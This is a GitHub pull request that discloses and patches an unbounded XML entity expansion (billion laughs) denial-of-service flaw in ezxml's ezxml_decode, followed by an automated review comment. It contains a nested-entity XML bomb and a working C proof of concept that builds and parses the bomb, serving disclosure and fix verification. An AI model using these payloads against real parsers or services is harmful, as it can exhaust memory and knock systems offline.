Skip to content

Fix unrestricted entity expansion in ezxml_decode (billion laughs) - #11

Open
esadowski4 wants to merge 1 commit into
lxfontes:masterfrom
esadowski4:fix/xml-entity-expansion-dos
Open

Fix unrestricted entity expansion in ezxml_decode (billion laughs)#11
esadowski4 wants to merge 1 commit into
lxfontes:masterfrom
esadowski4:fix/xml-entity-expansion-dos

Conversation

@esadowski4

Copy link
Copy Markdown

Summary

Vulnerability class: Denial of service - unrestricted XML entity expansion (billion laughs / XML bomb)

Severity: High (DoS)

Affected file and line range: ezxml.c, ezxml_decode() (line 158), specifically the entity reference expansion loop at lines 194-203

Description

ezxml_decode() expands entity references by substituting their values into the working string, then continues scanning forward through the substituted text. If the replacement contains further entity references, those are expanded in turn. ezxml_ent_ok() only rejects direct circular references (A references B references A) - it does not detect or limit exponential expansion through fan-out.

An XML document with nested entity definitions exploits this:

<!DOCTYPE bomb [
  <!ENTITY x0 "BOOM">
  <!ENTITY x1 "&x0;&x0;">
  <!ENTITY x2 "&x1;&x1;">
  ...
  <!ENTITY x30 "&x29;&x29;">
]>
<bomb>&x30;</bomb>

Each level doubles the output. With 30 levels, ~700 bytes of input expands to 4 GB of text. The process hangs consuming memory until killed.

Attack vector

Any application using ezxml to parse untrusted XML input. The attacker provides a small XML document with nested entity definitions. The parser expands entities recursively with no bound on total expansion size.

Proof of concept

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "ezxml.h"

static char *build_xml_bomb(int depth) {
    char line[128];
    size_t alloc = 4096, len = 0;
    char *xml = malloc(alloc);
    if (!xml) return NULL;
    len += snprintf(xml + len, alloc - len, "<!DOCTYPE bomb [\n");
    len += snprintf(xml + len, alloc - len, "  <!ENTITY x0 \"BOOM\">\n");
    for (int i = 1; i <= depth; i++) {
        snprintf(line, sizeof(line),
                 "  <!ENTITY x%d \"&x%d;&x%d;\">\n", i, i - 1, i - 1);
        while (len + strlen(line) + 1 > alloc) {
            alloc *= 2;
            xml = realloc(xml, alloc);
            if (!xml) return NULL;
        }
        len += snprintf(xml + len, alloc - len, "%s", line);
    }
    snprintf(line, sizeof(line), "]>\n<bomb>&x%d;</bomb>\n", depth);
    while (len + strlen(line) + 1 > alloc) {
        alloc *= 2;
        xml = realloc(xml, alloc);
        if (!xml) return NULL;
    }
    len += snprintf(xml + len, alloc - len, "%s", line);
    return xml;
}

int main(void) {
    char *xml = build_xml_bomb(25);
    if (!xml) return 1;
    size_t len = strlen(xml);
    char *copy = strdup(xml);
    free(xml);
    /* This will consume ~128 MB and take >10 seconds */
    ezxml_t doc = ezxml_parse_str(copy, len);
    if (doc) ezxml_free(doc);
    return 0;
}

Compile: gcc -o poc poc.c ezxml.c -I.

Tested results on this codebase:

Depth Input Expanded output Memory consumed Amplification
15 467 B 128 KB 780 KB 1,710x
20 612 B 4 MB 4.7 MB 8,011x
23 699 B 32 MB 33.6 MB 49,281x
25 757 B 128 MB 129 MB (timed out at 10s) 177,302x

Patch explanation

Two changes to ezxml_decode() in ezxml.c:

  1. Add EZXML_MAX_ENTITY_EXPANSION limit (8 MB) - a total_expanded counter accumulates the byte length of every entity replacement. When it exceeds 8 MB, the expansion loop breaks. 8 MB is far above what any legitimate XML document needs. This directly prevents the exponential blowup.

  2. Change size variable l from long to size_t - on platforms where long is 32 bits, the size calculation l = (d = (s - r)) + c + strlen(e) can overflow when the working string is large. Using size_t matches the width of pointer arithmetic and allocation sizes. A local size_t d_off replaces the long d for the same reason.

Normal entity expansion (&amp;, &lt;, custom entities in small documents) is unaffected - the 8 MB limit is only reached by pathological inputs.

The existing ezxml_ent_ok() guard only detects direct circular entity references (entity A references entity B, which references entity A). It does not detect exponential expansion where each entity references two copies of another entity. This is the same class of vulnerability as CVE-2003-1564 (libxml2) and CVE-2013-1664 (Python xml.etree).

Add EZXML_MAX_ENTITY_EXPANSION limit (8 MB) to prevent exponential
memory growth from nested entity definitions.

ezxml_decode() expands entity references by substituting their values
into the working string, then continues scanning forward through the
substituted text. Entity references within the replacement are expanded
in turn. ezxml_ent_ok() only rejects direct circular references
(A -> B -> A), not exponential expansion through fan-out
(A -> B+B, B -> C+C, ...).

An XML document with 30 levels of nested entity definitions:

  <!ENTITY x0 "BOOM">
  <!ENTITY x1 "&x0;&x0;">
  ...
  <!ENTITY x30 "&x29;&x29;">

produces 4 GB of expanded text from ~700 bytes of input (177,302x
amplification). The process hangs consuming memory until killed.

The fix tracks cumulative bytes of entity replacement text in
ezxml_decode(). When total expansion exceeds 8 MB, the loop breaks.
8 MB is far above what any legitimate XML document needs.

Also changed the size calculation variable from long to size_t to
prevent signed integer overflow when computing buffer sizes during
entity expansion.
Copilot AI review requested due to automatic review settings May 1, 2026 20:29

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR mitigates a high-severity DoS vulnerability in ezxml_decode() caused by unrestricted/nested XML entity expansion (“billion laughs”), by introducing a hard cap on total entity-expanded bytes during decoding and tightening length arithmetic types.

Changes:

  • Added EZXML_MAX_ENTITY_EXPANSION (8 MB) and a total_expanded counter to stop excessive entity expansion.
  • Switched the allocation-length variable l from long to size_t and replaced the pointer-offset temporary with size_t for safer length/offset arithmetic.
  • Minor cast adjustment for strspn() usage with l now being size_t.
Comments suppressed due to low confidence (1)

ezxml.c:214

  • c is reused for both character-codepoint decoding and entity replacement length (strlen(ent[b])), which forces awkward signed/unsigned conversions (s + c, strncpy(..., c), (size_t)c for total_expanded). To avoid truncation risk and make the new size/limit logic clearer, consider introducing a separate size_t rep_len = strlen(ent[b]); for entity expansion and keep c for numeric character references only.
                c = strlen(ent[b]);
                total_expanded += (size_t)c;
                if (total_expanded > EZXML_MAX_ENTITY_EXPANSION)
                    break; // entity expansion limit exceeded

                if (c - 1 > (e = strchr(s, ';')) - s) {
                    size_t d_off = (size_t)(s - r);
                    l = d_off + (size_t)c + strlen(e); // new length
                    r = (r == m) ? strcpy(malloc(l), r) : realloc(r, l);
                    e = strchr((s = r + d_off), ';'); // fix up pointers
                }

                memmove(s + c, e + 1, strlen(e)); // shift rest of string
                strncpy(s, ent[b], c); // copy in replacement text

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread ezxml.c
Comment on lines +201 to +205
c = strlen(ent[b]);
total_expanded += (size_t)c;
if (total_expanded > EZXML_MAX_ENTITY_EXPANSION)
break; // entity expansion limit exceeded

Copilot AI May 1, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The break on entity-expansion limit exits the main decode loop entirely, which also stops decoding/normalization for the remainder of the string (e.g., later character references and whitespace normalization for t == ' ' / t == '*'). Consider handling the limit by skipping further entity expansion while continuing to scan/normalize the rest of the buffer (e.g., treat the entity as unknown and advance s, or use a flag to disable expansion) so non-entity decoding remains consistent even when the limit is hit.

Copilot uses AI. Check for mistakes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants